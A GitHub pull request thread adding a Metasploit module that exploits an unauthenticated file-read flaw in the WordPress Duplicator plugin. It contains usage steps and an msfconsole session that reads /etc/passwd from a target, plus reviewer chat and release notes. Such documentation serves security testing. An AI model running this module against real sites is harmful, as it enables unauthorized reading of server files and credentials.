Wordpress: Duplicator plugin - unauthenticated arbitrary file read

[ghost]

Description

This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin "Duplicator" plugin version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges.
This vulnerability was being actively exploited when it was discovered.

Verification Steps

Confirm that functionality works:

1. Start msfconsole
2. use auxiliary/scanner/http/wp_duplicator_file_read
3. Set the RHOSTS
4. Set the RPORT
5. Run the exploit: run

Scenarios

Ubuntu 20.04 running WordPress 5.6, Duplicator 1.2.6

[Link] http://stg.hiraka.ml:8080/wordpress

msf5 > use auxiliary/scanner/http/wp_duplicator_file_read
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set rport 8080
rport => 8080
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set FILEPATH /etc/passwd
FILEPATH => /etc/passwd
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set DEPTH 5
DEPTH => 5

msf5 auxiliary(scanner/http/wp_duplicator_file_read) > run

[*] Downloading file...

[....Content File....]

[+] File saved in: /root/.msf4/loot/20201211005722_default_13.250.118.98_duplicator.trave_383073.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

[ghost]

@h00die . Hi. My code was uploaded 8 hours ago but has not been included in TravisCI

[adfoster-r7]

Travis is running slow lately, it will run the pull request eventually 😄 This other pull request #14495 is investigating the use of Github actions as an alternative to using Travis, but that won't impact this pull request 👍

[ghost]

Thank you! In the meantime, I am writing new modules (^^!)

[h00die]

I would recommend running through msftidy, msftidy_docs, and rubocop

[ghost]

Hi. @h00die . Thanks for your enthusiastic help. I will correct everything according to your suggestion !

[ghost]

@h00die. I corrected everything!!!. Sorry for not doing well

[h00die]

no worries, its a learning experience!!!

[h00die]

https://github.com/suncsr/metasploit-framework/pull/1

[ghost]

Dear @h00die . I merged . Thanks a bunch!

[h00die]

Thanks for the contribution @suncsr !

[h00die]

Release Notes

New auxiliary module auxiliary/scanner/http/wp_duplicator_file_read exploits an unauthenticated arbitrary file read in vulnerable versions of the WordPress plugin "Duplicator".